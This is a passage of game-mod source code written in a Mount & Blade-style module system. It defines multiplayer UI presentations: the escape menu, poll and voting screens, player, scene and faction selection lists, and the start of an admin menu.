escape_menu_item_height), (create_button_overlay, reg0, "str_change_controls", 0), (assign, "$g_presentation_obj_escape_menu_controls", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_show_rules", 0), (assign, "$g_presentation_obj_escape_menu_show_rules", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_show_info", 0), (assign, "$g_presentation_obj_escape_menu_show_info", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_request_poll", 0), (assign, "$g_presentation_obj_escape_menu_request_poll", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (assign, "$g_presentation_obj_escape_menu_admin_panel", -1), (assign, "$g_presentation_obj_escape_menu_admin_tools", -1), (assign, "$g_presentation_obj_escape_menu_admin_items", -1), (try_begin), (ge, ":my_player_id", 0), (player_is_admin, ":my_player_id"), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_panel, 0), (create_button_overlay, reg0, "str_admin_panel", 0), (assign, "$g_presentation_obj_escape_menu_admin_panel", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (try_end), (create_button_overlay, reg0, "str_admin_tools", 0), (assign, "$g_presentation_obj_escape_menu_admin_tools", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_all_items, 0), (create_button_overlay, reg0, "str_admin_items", 0), (assign, "$g_presentation_obj_escape_menu_admin_items", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (try_end), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_is_lord, 1), (create_button_overlay, reg0, "str_faction_admin", 0), (assign, "$g_presentation_obj_escape_menu_faction_admin", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_escape_menu_faction_admin", -1), (try_end), (create_button_overlay, reg0, "str_quit", 0), (assign, "$g_presentation_obj_escape_menu_quit", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (val_add, ":cur_y", escape_menu_item_height), (create_text_overlay, reg0, "str_choose_an_option", 0), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (overlay_set_size, reg0, pos2), (position_set_x, pos1, 130), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_spectate", pos1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_options", pos1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_controls", pos1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_show_rules", pos1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_show_info", pos1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_request_poll", pos1), (try_begin), (gt, "$g_presentation_obj_escape_menu_admin_panel", -1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_admin_panel", pos1), (try_end), (try_begin), (gt, "$g_presentation_obj_escape_menu_admin_tools", -1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_admin_tools", pos1), (try_end), (try_begin), (gt, "$g_presentation_obj_escape_menu_admin_items", -1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_admin_items", pos1), (try_end), (try_begin), (gt, "$g_presentation_obj_escape_menu_faction_admin", -1), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_faction_admin", pos1), (try_end), (val_sub, ":cur_y", escape_menu_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_escape_menu_quit", pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_escape_menu_spectate"), (presentation_set_duration, 0), (multiplayer_send_message_to_server, client_event_request_spawn_point), (assign, "$g_player_has_spawned_after_connecting", 1), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_options"), (presentation_set_duration, 0), (change_screen_options), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_controls"), (presentation_set_duration, 0), (change_screen_controls), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_show_rules"), (presentation_set_duration, 0), (multiplayer_send_message_to_server, client_event_request_game_rules), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_show_info"), (presentation_set_duration, 0), (call_script, "script_show_welcome_message"), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_request_poll"), (presentation_set_duration, 0), (start_presentation, "prsnt_poll_menu"), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_admin_panel"), (presentation_set_duration, 0), (multiplayer_send_int_to_server, client_event_request_game_rules, 1), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_admin_tools"), (presentation_set_duration, 0), (start_presentation, "prsnt_admin_menu"), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_admin_items"), (presentation_set_duration, 0), (start_presentation, "prsnt_admin_item_select"), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_faction_admin"), (presentation_set_duration, 0), (start_presentation, "prsnt_faction_admin_menu"), (else_try), (eq, ":object", "$g_presentation_obj_escape_menu_quit"), (presentation_set_duration, 0), (finish_mission, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("poll_menu", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (assign, ":cur_y", 10), (position_set_x, pos1, 200), (assign, reg0, 0), (multiplayer_get_my_player, ":my_player_id"), (try_begin), (player_get_slot, ":faction_id", ":my_player_id"), (is_between, ":faction_id", castle_factions_begin, factions_end), (faction_slot_eq, ":faction_id", slot_faction_is_locked, 0), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, poll_cost_faction_lord), (try_end), (str_store_string, s0, "str_choose_poll_faction_lord"), (create_button_overlay, "$g_presentation_obj_poll_menu_faction_lord", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_poll_menu_faction_lord", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_poll_menu_faction_lord", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_poll_menu_faction_lord", pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_poll_menu_faction_lord", -1), (try_end), (try_begin), (eq, "$g_ban_voteable", 1), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, poll_cost_ban_player), (try_end), (str_store_string, s0, "str_choose_poll_ban"), (create_button_overlay, "$g_presentation_obj_poll_menu_ban", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_poll_menu_ban", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_poll_menu_ban", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_poll_menu_ban", pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_poll_menu_ban", -1), (try_end), (try_begin), (eq, "$g_kick_voteable", 1), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, poll_cost_kick_player), (try_end), (str_store_string, s0, "str_choose_poll_kick"), (create_button_overlay, "$g_presentation_obj_poll_menu_kick", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_poll_menu_kick", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_poll_menu_kick", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_poll_menu_kick", pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_poll_menu_kick", -1), (try_end), (try_begin), (eq, "$g_scenes_voteable", 1), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, poll_cost_change_scene), (try_end), (str_store_string, s0, "str_choose_poll_scene"), (create_button_overlay, "$g_presentation_obj_poll_menu_scene", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_poll_menu_scene", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_poll_menu_scene", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_poll_menu_scene", pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_poll_menu_scene", -1), (try_end), (create_text_overlay, reg0, "str_choose_a_poll_type", 0), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (overlay_set_size, reg0, pos2), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_poll_menu_scene"), (presentation_set_duration, 0), (start_presentation, "prsnt_list_scenes"), (else_try), (eq, ":object", "$g_presentation_obj_poll_menu_kick"), (presentation_set_duration, 0), (assign, "$g_list_players_action_string_id", "str_kick"), (assign, "$g_list_players_event", client_event_request_poll), (assign, "$g_list_players_event_value", poll_type_kick_player), (start_presentation, "prsnt_list_players"), (else_try), (eq, ":object", "$g_presentation_obj_poll_menu_ban"), (presentation_set_duration, 0), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (assign, "$g_list_players_event", client_event_request_poll), (assign, "$g_list_players_event_value", poll_type_ban_player), (start_presentation, "prsnt_list_players"), (else_try), (eq, ":object", "$g_presentation_obj_poll_menu_faction_lord"), (presentation_set_duration, 0), (assign, "$g_list_players_action_string_id", "str_propose_as_lord"), (assign, "$g_list_players_event", client_event_request_poll), (assign, "$g_list_players_event_value", poll_type_faction_lord), (start_presentation, "prsnt_list_players"), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), # $g_list_players_action_string_id: string for ending "Choose a player to ", describing the action # $g_list_players_event: network event number to send to the server with the player id # $g_list_players_event_value: extra value to send with the network event above # $g_list_players_keep_open: 1 = don't end the presentation after selecting a player # $g_list_players_return_presentation: the presentation to return to after player selection or pressing escape ("list_players", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (multiplayer_get_my_player, ":my_player_id"), (player_get_slot, "$g_list_players_faction_id", ":my_player_id", slot_player_faction_id), (try_begin), (eq, "$g_list_players_event", client_event_request_poll), (eq, "$g_list_players_event_value", poll_type_faction_lord), (try_begin), (player_is_admin, ":my_player_id"), (player_slot_eq, ":my_player_id", slot_player_admin_no_factions, 0), (assign, ":my_player_id", 0), # only add the requesting player to a lord poll list if an admin with permission (try_end), (else_try), (eq, "$g_list_players_event", client_event_faction_admin_action), (else_try), (assign, "$g_list_players_faction_id", -1), # show players from all factions for admin tools (this_or_next|eq, "$g_list_players_event_value", admin_action_fade_player_out), (eq, "$g_list_players_event_value", admin_action_freeze_player), (assign, ":my_player_id", 0), # only add the requesting player to the list for fade out and freeze tools (try_end), (val_max, "$g_list_players_action_string_id", 0), (str_store_string, s0, "$g_list_players_action_string_id"), (create_text_overlay, ":prompt_overlay_id", "str_choose_a_player_to_s0", 0), (overlay_set_color, ":prompt_overlay_id", 0xFFFFFF), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (overlay_set_size, ":prompt_overlay_id", pos2), (position_set_x, pos2, 750), (position_set_y, pos2, 750), (assign, ":cur_y", 5), (assign, ":overlay_id", -1), (get_max_players, ":max_players"), (try_begin), # loop over all factions (eq, "$g_list_players_faction_id", -1), (assign, ":factions_end", factions_end), (else_try), # only one iteration of the loop, for the targeted faction (store_add, ":factions_end", factions_begin, 1), (try_end), (try_for_range, ":current_faction_id", factions_begin, ":factions_end"), (faction_slot_eq, ":current_faction_id", slot_faction_is_active, 1), (try_for_range, ":player_id", 1, ":max_players"), # loop over factions one by one, grouping their members together in the list (player_is_active, ":player_id"), (this_or_next|neq, "$g_list_players_faction_id", -1), (player_slot_eq, ":player_id", slot_player_faction_id, ":current_faction_id"), (try_begin), (neq, ":player_id", ":my_player_id"), (this_or_next|eq, "$g_list_players_faction_id", -1), (player_slot_eq, ":player_id", slot_player_faction_id, "$g_list_players_faction_id"), (str_store_player_username, s0, ":player_id"), (create_button_overlay, ":overlay_id", s0, 0), (overlay_set_size, ":overlay_id", pos2), (player_set_slot, ":player_id", slot_player_list_button_id, ":overlay_id"), # save the associated overlay id, for checking that the player hasn't disconnected and the id reused (val_add, ":cur_y", player_list_item_height), (else_try), (player_set_slot, ":player_id", slot_player_list_button_id, -1), (try_end), (try_end), (try_end), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, ":prompt_overlay_id", pos1), (val_sub, ":cur_y", 5), (val_add, ":prompt_overlay_id", 1), (store_add, ":overlay_id_end", ":overlay_id", 1), (try_for_range, ":overlay_id", ":prompt_overlay_id", ":overlay_id_end"), (val_sub, ":cur_y", player_list_item_height), (position_set_y, pos1, ":cur_y"), (overlay_set_position, ":overlay_id", pos1), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (get_max_players, ":num_players"), (try_for_range, ":player_id", 1, ":num_players"), (player_is_active, ":player_id"), (player_slot_eq, ":player_id", slot_player_list_button_id, ":object"), # ensure that the player id represents the same one selected in the list (try_begin), (is_between, "$g_list_players_event", 0, 128), (multiplayer_send_2_int_to_server, "$g_list_players_event", "$g_list_players_event_value", ":player_id"), (try_end), (assign, ":num_players", 0), (try_begin), (eq, "$g_list_players_keep_open", 0), # target the selected player for other use by other functions (assign, "$g_target_player_id", ":player_id"), (assign, "$g_target_player_overlay_id", ":object"), (try_begin), (gt, "$g_list_players_return_presentation", 0), (neg|is_presentation_active, "$g_list_players_return_presentation"), (start_presentation, "$g_list_players_return_presentation"), (try_end), (assign, "$g_list_players_return_presentation", 0), (presentation_set_duration, 0), (try_end), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (assign, "$g_target_player_id", 0), (assign, "$g_target_player_overlay_id", 0), (try_begin), (gt, "$g_list_players_return_presentation", 0), (neg|is_presentation_active, "$g_list_players_return_presentation"), (start_presentation, "$g_list_players_return_presentation"), (try_end), (assign, "$g_list_players_return_presentation", 0), (assign, "$g_list_players_keep_open", 0), (presentation_set_duration, 0), (else_try), # continuously update list entry colors (get_max_players, ":max_players"), (try_for_range, ":player_id", 1, ":max_players"), (player_is_active, ":player_id"), (player_get_slot, ":overlay_id", ":player_id", slot_player_list_button_id), (gt, ":overlay_id", -1), (assign, ":color", 0xFFFFFF), (try_begin), # for player slot toggling, update the player name color with the current setting (eq, "$g_list_players_event", client_event_faction_admin_action), (try_begin), (eq, "$g_list_players_event_value", faction_admin_action_toggle_player_door_key), (player_slot_eq, ":player_id", slot_player_has_faction_door_key, 1), (else_try), (eq, "$g_list_players_event_value", faction_admin_action_toggle_player_money_key), (player_slot_eq, ":player_id", slot_player_has_faction_money_key, 1), (else_try), (eq, "$g_list_players_event_value", faction_admin_action_toggle_player_item_key), (player_slot_eq, ":player_id", slot_player_has_faction_item_key, 1), (else_try), (eq, "$g_list_players_event_value", faction_admin_action_toggle_player_announce), (player_slot_eq, ":player_id", slot_player_can_faction_announce, 1), (else_try), (eq, "$g_list_players_event_value", faction_admin_action_mute_player), (player_slot_eq, ":player_id", slot_player_faction_chat_muted, 0), (else_try), (assign, ":color", 0xFF3333), (try_end), (else_try), # when including multiple factions, set to the player faction's color (eq, "$g_list_players_faction_id", -1), (player_get_slot, ":faction_id", ":player_id", slot_player_faction_id), (is_between, ":faction_id", factions_begin, factions_end), (faction_get_color, ":color", ":faction_id"), (try_end), (overlay_set_color, ":overlay_id", ":color"), (try_end), (try_end), ]), ]), ("list_scenes", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (store_sub, ":num_scenes", scenes_end, scenes_begin), (store_mul, ":cur_y", ":num_scenes", escape_menu_item_height), (val_add, ":cur_y", 10), (create_text_overlay, reg0, "str_choose_a_scene", 0), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (overlay_set_size, reg0, pos2), (val_sub, ":cur_y", escape_menu_item_height), (store_add, "$g_presentation_obj_list_scenes_begin", reg0, 1), (position_set_x, pos1, 130), (assign, ":scene_string_id", scene_names_begin), (try_for_range, ":unused", scenes_begin, scenes_end), (create_button_overlay, ":overlay_id", ":scene_string_id", tf_center_justify), (overlay_set_color, ":overlay_id", 0xFFFFFF), (position_set_y, pos1, ":cur_y"), (overlay_set_position, ":overlay_id", pos1), (overlay_set_size, ":overlay_id", pos2), (val_sub, ":cur_y", escape_menu_item_height), (val_add, ":scene_string_id", 1), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (ge, ":object", "$g_presentation_obj_list_scenes_begin"), (store_sub, ":scene_id", ":object", "$g_presentation_obj_list_scenes_begin"), (val_add, ":scene_id", scenes_begin), (lt, ":scene_id", scenes_end), (multiplayer_send_2_int_to_server, client_event_request_poll, poll_type_change_scene, ":scene_id"), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), # $g_list_faction_event: network event number to send to the server with the faction id # $g_list_faction_event_value: extra value to send with the network event above # $g_list_faction_return_presentation: the presentation to return to after faction selection or pressing escape ("list_factions", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg1, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg1, pos1), (str_clear, s0), (create_text_overlay, reg1, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg1, pos1), (set_container_overlay, reg1), (assign, ":num_factions", 0), (multiplayer_get_my_player, ":my_player_id"), (player_get_slot, ":my_faction_id", ":my_player_id", slot_player_faction_id), (try_for_range, ":faction_id", castle_factions_begin, factions_end), (faction_set_slot, ":faction_id", slot_faction_list_button_id, -1), (faction_slot_eq, ":faction_id", slot_faction_is_active, 1), (neq, ":faction_id", ":my_faction_id"), (store_add, ":relation_slot", ":faction_id", slot_faction_relations_begin), (assign, ":show", 1), (try_begin), (eq, "$g_list_factions_event_value", faction_admin_action_set_relation_hostile), (faction_slot_ge, ":my_faction_id", ":relation_slot", 1), (else_try), (eq, "$g_list_factions_event_value", faction_admin_action_set_relation_peaceful), (neg|faction_slot_ge, ":my_faction_id", ":relation_slot", 1), (else_try), (assign, ":show", 0), (try_end), (eq, ":show", 1), (faction_set_slot, ":faction_id", slot_faction_list_button_id, 1), (val_add, ":num_factions", 1), (try_end), (store_mul, ":cur_y", ":num_factions", faction_menu_item_height), (val_add, ":cur_y", 10), (position_set_x, pos11, 900), (position_set_y, pos11, 900), (create_text_overlay, reg1, "str_choose_a_faction", 0), (overlay_set_color, reg1, 0xFFFFFF), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos11), (val_sub, ":cur_y", (faction_menu_item_height / 2) + 10), (position_set_x, pos12, 50), (position_set_y, pos12, 50), (store_add, ":banner_y", ":cur_y", faction_menu_item_height / 2), (position_set_x, pos2, 25), (position_set_x, pos1, 50), (try_for_range, ":faction_id", castle_factions_begin, factions_end), (faction_slot_ge, ":faction_id", slot_faction_list_button_id, 1), (faction_get_slot, ":banner_mesh", ":faction_id", slot_faction_banner_mesh), (create_image_button_overlay, reg1, ":banner_mesh", ":banner_mesh"), (position_set_y, pos2, ":banner_y"), (overlay_set_position, reg1, pos2), (overlay_set_size, reg1, pos12), (val_sub, ":banner_y", faction_menu_item_height), (str_store_faction_name, s0, ":faction_id"), (create_button_overlay, reg1, s0), (faction_get_color, ":color", ":faction_id"), (overlay_set_color, reg1, ":color"), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos11), (val_sub, ":cur_y", faction_menu_item_height), (faction_set_slot, ":faction_id", slot_faction_list_button_id, reg1), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":overlay_id"), (store_add, ":other_overlay_id", ":overlay_id", 1), (assign, ":loop_end", factions_end), (try_for_range, ":faction_id", castle_factions_begin, ":loop_end"), (this_or_next|faction_slot_eq, ":faction_id", slot_faction_list_button_id, ":overlay_id"), (faction_slot_eq, ":faction_id", slot_faction_list_button_id, ":other_overlay_id"), (presentation_set_duration, 0), (assign, ":loop_end", 0), (try_begin), (is_between, "$g_list_factions_event", 0, 128), (multiplayer_send_2_int_to_server, "$g_list_factions_event", "$g_list_factions_event_value", ":faction_id"), (try_end), (try_begin), (gt, "$g_list_factions_return_presentation", 0), (neg|is_presentation_active, "$g_list_factions_return_presentation"), (start_presentation, "$g_list_factions_return_presentation"), (try_end), (assign, "$g_list_factions_return_presentation", 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (try_begin), (gt, "$g_list_factions_return_presentation", 0), (neg|is_presentation_active, "$g_list_factions_return_presentation"), (start_presentation, "$g_list_factions_return_presentation"), (try_end), (assign, "$g_list_factions_return_presentation", 0), (presentation_set_duration, 0), (try_end), ]), ]), ("show_poll", prsntf_read_only|prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg1, "mesh_white_plane"), (overlay_set_color, reg1, 0x110000), (overlay_set_alpha, reg1, 0x44), (position_set_x, pos1, 10), (position_set_y, pos1, 10), (overlay_set_position, reg1, pos1), (position_set_x, pos10, 40500), (position_set_y, pos10, 2500), (overlay_set_size, reg1, pos10), (position_set_x, pos10, 850), (position_set_y, pos10, 850), (try_begin), (player_is_active, "$g_poll_requester_player_id"), (str_store_player_username, s1, "$g_poll_requester_player_id"), (else_try), (str_store_string, s1, "str_departed_player"), (try_end), (create_text_overlay, reg1, "str_poll_requester_keys", tf_center_justify|tf_with_outline), (overlay_set_color, reg1, 0xFFFFFF), (position_set_x, pos1, 350), (position_set_y, pos1, 15), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos10), (try_begin), (this_or_next|eq, "$g_poll_type", poll_type_kick_player), (this_or_next|eq, "$g_poll_type", poll_type_ban_player), (eq, "$g_poll_type", poll_type_faction_lord), (try_begin), (player_is_active, "$g_poll_value_1"), (str_store_player_username, s1, "$g_poll_value_1"), (else_try), (str_store_string, s1, "str_departed_player"), (multiplayer_get_my_player, "$g_poll_value_1"), (try_end), (try_end), (try_begin), (eq, "$g_poll_type", poll_type_change_scene), (store_sub, ":string_id", "$g_poll_value_1", scenes_begin), (val_add, ":string_id", scene_names_begin), (str_store_string, s1, ":string_id"), (assign, ":string_id", "str_poll_change_scene"), (else_try), (eq, "$g_poll_type", poll_type_kick_player), (assign, ":string_id", "str_poll_kick_player"), (else_try), (eq, "$g_poll_type", poll_type_ban_player), (assign, ":string_id", "str_poll_ban_player"), (else_try), (eq, "$g_poll_type", poll_type_faction_lord), (player_get_slot, ":faction_id", "$g_poll_value_1", slot_player_faction_id), (str_store_faction_name, s2, ":faction_id"), (assign, ":string_id", "str_poll_faction_lord"), (try_end), (create_text_overlay, reg1, ":string_id", tf_center_justify|tf_with_outline), (overlay_set_color, reg1, 0xFFFFFF), (position_set_x, pos1, 415), (position_set_y, pos1, 35), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos10), (store_mission_timer_a, ":current_time"), (store_sub, "$g_poll_displayed_seconds", "$g_poll_end_time", ":current_time"), (assign, reg0, "$g_poll_displayed_seconds"), (create_text_overlay, "$g_presentation_obj_poll_seconds", "str_poll_time_left", tf_right_align|tf_single_line|tf_with_outline), (overlay_set_color, "$g_presentation_obj_poll_seconds", 0xFFFFFF), (position_set_x, pos1, 860), (position_set_y, pos1, 15), (overlay_set_position, "$g_presentation_obj_poll_seconds", pos1), (overlay_set_size, "$g_presentation_obj_poll_seconds", pos10), (omit_key_once, key_f7), (omit_key_once, key_f8), (omit_key_once, key_f9), (assign, "$g_hide_poll", 0), (presentation_set_duration, poll_time_duration * 100 + 200), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 100), (assign, ":vote", -9999), (try_begin), (key_clicked, key_f7), (assign, ":vote", poll_vote_abstain), (else_try), (key_is_down, key_right_shift), (multiplayer_get_my_player, ":player_id"), (player_is_admin, ":player_id"), (player_slot_eq, ":player_id", slot_player_admin_no_override_poll, 0), (try_begin), (key_clicked, key_f9), (assign, ":vote", poll_vote_admin_yes), (else_try), (key_clicked, key_f8), (assign, ":vote", poll_vote_admin_no), (try_end), (else_try), (key_clicked, key_f9), (assign, ":vote", poll_vote_yes), (else_try), (key_clicked, key_f8), (assign, ":vote", poll_vote_no), (try_end), (neq, ":vote", -9999), (multiplayer_send_int_to_server, client_event_poll_vote, ":vote"), (clear_omitted_keys), (presentation_set_duration, 0), (try_end), (store_mission_timer_a, ":mission_timer"), (store_sub, reg0, "$g_poll_end_time", ":mission_timer"), (try_begin), (this_or_next|eq, "$g_hide_poll", 1), (lt, reg0, 0), (clear_omitted_keys), (presentation_set_duration, 0), (else_try), (neq, reg0, "$g_poll_displayed_seconds"), (overlay_set_text, "$g_presentation_obj_poll_seconds", "str_poll_time_left"), (assign, "$g_poll_displayed_seconds", reg0), (try_end), ]), ]), ("admin_menu", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (multiplayer_get_my_player, ":my_player_id"), (player_is_admin, ":my_player_id"), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, 